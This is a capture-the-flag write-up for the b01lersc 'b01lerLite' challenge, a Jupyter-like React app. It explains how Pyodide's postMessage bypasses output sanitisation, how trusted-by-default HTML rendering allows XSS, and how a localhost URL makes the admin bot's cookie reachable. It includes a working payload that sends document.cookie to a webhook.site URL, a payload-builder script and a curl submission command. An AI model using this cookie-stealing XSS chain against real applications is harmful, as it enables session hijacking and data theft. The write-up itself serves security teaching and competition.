$ cat writeup.md…
$ cat writeup.md…
b01lersc
Task: a Jupyter-like SPA (b01lerLite) that renders base64-encoded notebooks through a Pyodide worker, with an admin bot holding the flag in a cookie scoped to localhost. Solution: bypass worker output sanitization by calling `self.postMessage` directly from Python in Pyodide, make the main thread render attacker-controlled `text/html` through `dangerouslySetInnerHTML` (trusted defaults to true), and feed the bot a http://localhost:3000/render?d=... URL so the cookie is same-origin; the XSS fetches it to a webhook.
b01lerLite — a minimal Jupyter clone. Submit a notebook URL and our admin will open it for you. Don't steal their cookies.
POST /report {"url": "..."}— puppeteer opens the URL with the flag cookie and clicks the first Run button.
Given: full source of a React + Express app. A notebook (.ipynb) is encoded in base64 and rendered at /render?d=<b64>. Python runs client-side in a Pyodide Web Worker. There's a /report endpoint that drives a puppeteer bot; the bot holds the flag in document.cookie with domain=localhost.
Goal: make the bot exfiltrate its own cookie to us.
Three layers of defence, all of them subtly broken.
src/lib/pyodideWorker.mjs monkey-patches the kernel's output callbacks before running user code:
ipykernel.displayDataCallback = (data, metadata, transient) => { // replace whatever Python produced with a harmless plain-text string postMessage({ ..., data: { 'text/plain': 'output disabled' } }); }; ipykernel.publishExecutionResult = (prompt, data, metadata) => { /* same */ };
So IPython.display.HTML(...) or display({'text/html': ...}) can never reach the main thread — the worker rewrites data before posting.
But the patch is applied only to the ipykernel-level callbacks. The Worker's own self.postMessage is still reachable, and Pyodide exposes it to Python via the js module:
from js import self as _self # WorkerGlobalScope _self.postMessage(arbitrary_msg) # goes straight to main thread
The main-thread listener in JupyterNotebook.tsx doesn't check the shape or origin of the message — it only filters e.data.id !== currId. If we match currId, our fabricated output object is treated as if the kernel produced it.
currId comes from a getId() counter starting at 1, incremented on every Run. The bot clicks the first Run button, so currId === 1. To be safe we send id 1..5.
trustedsrc/lib/JupyterNotebookCodeCell.tsx:
const trusted = props.trusted ?? true; ... {trusted && mimes['text/html'] ? <div dangerouslySetInnerHTML={{ __html: mimes['text/html'] }}/> : <pre>{mimes['text/plain']}</pre>}
The classic Jupyter "trusted notebook" concept is here but inverted: trusted defaults to true, and src/StyledNotebook.tsx never passes the prop at all. Every cell is trusted. text/html → dangerouslySetInnerHTML → full XSS.
server/bot.ts:
await page.setCookie({ name: 'flag', value: FLAG, domain: 'localhost', path: '/' }); await page.goto(url, { waitUntil: 'domcontentloaded' }); await page.waitForSelector('button.cursor-pointer.text-right.px-1', { timeout: 20000 }); await page.click(...); await sleep(5000);
If we feed the bot http://our-evil.com/... — the cookie is not sent and document.cookie is empty. We need same-origin execution.
server/index.ts validates the URL with only:
if (!url.startsWith('http://') && !url.startsWith('https://')) reject;
No host allow-list. Inside the container, port 3000 is the app itself, so http://localhost:3000/render?d=<payload> is:
localhost,document.cookie inside the page contains flag=bctf{...}.src/NotebookPage.tsx validates the decoded notebook with zod; cells[].outputs must satisfy z.array(z.any()).length(0). We can't just stuff HTML into outputs. Fine — we inject the output at runtime via postMessage instead.
Python cell (first and only code cell) that talks to the main thread through the Worker's raw postMessage:
from pyodide.ffi import to_js from js import Object, self as _self WEBHOOK = 'https://webhook.site/UUID' html = ( '<img src=x onerror="' 'fetch(\'' + WEBHOOK + '/x?c=\'+encodeURIComponent(document.cookie)' '+\'&l=\'+encodeURIComponent(location.href))' '">' ) # currId starts at 1 on the first Run click; send 1..5 for robustness for i in range(1, 6): msg = to_js({ 'id': i, 'output_type': 'display_data', 'data': {'text/html': html}, 'metadata': {}, 'transient': {}, }, dict_converter=Object.fromEntries) _self.postMessage(msg)
Two details matter:
to_js(..., dict_converter=Object.fromEntries) — without this Pyodide converts dicts to JS Maps, which the listener destructures as undefined.outputs: [] to pass the zod schema; HTML lives only in the live postMessage.{ "metadata": {}, "nbformat": 4, "nbformat_minor": 4, "cells": [{ "cell_type": "code", "source": "<python above>", "metadata": {}, "execution_count": null, "outputs": [] }] }
Base64 it and embed in /render?d=<b64>.
build_payload.py:
#!/usr/bin/env python3 import base64, json, sys def build(webhook: str) -> str: python = ( "from pyodide.ffi import to_js\n" "from js import Object, self as _self\n" f"WEBHOOK = {webhook!r}\n" "html = ('<img src=x onerror=\"'\n" " 'fetch(\\''+WEBHOOK+'/x?c=\\'+encodeURIComponent(document.cookie)'\n" " '+\\'&l=\\'+encodeURIComponent(location.href))'\n" " '\">')\n" "for i in range(1, 6):\n" " msg = to_js({'id': i,'output_type':'display_data',\n" " 'data': {'text/html': html},'metadata':{}, 'transient':{}},\n" " dict_converter=Object.fromEntries)\n" " _self.postMessage(msg)\n" ) nb = {"metadata": {}, "nbformat": 4, "nbformat_minor": 4, "cells": [{"cell_type": "code", "source": python, "metadata": {}, "execution_count": None, "outputs": []}]} return json.dumps(nb, separators=(",", ":")) if __name__ == "__main__": enc = base64.b64encode(build(sys.argv[1].rstrip("/")).encode()).decode() print(enc)
PAYLOAD=$(python3 build_payload.py "https://webhook.site/UUID" | tail -1) curl -X POST https://instance.b01lersc.tf/report \ -H 'Content-Type: application/json' \ --data "{\"url\":\"http://localhost:3000/render?d=${PAYLOAD}\"}"
Wait ~40–60s — the bot has to pull Pyodide + ipykernel from the CDN before the Run button even renders. Then the webhook receives a hit:
GET /x?c=flag%3Dbctf%7Bboys_go_to_jupiter_to_get_more_stupider%7D&l=http%3A%2F%2Flocalhost%3A3000%2Frender%3Fd%3D...
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md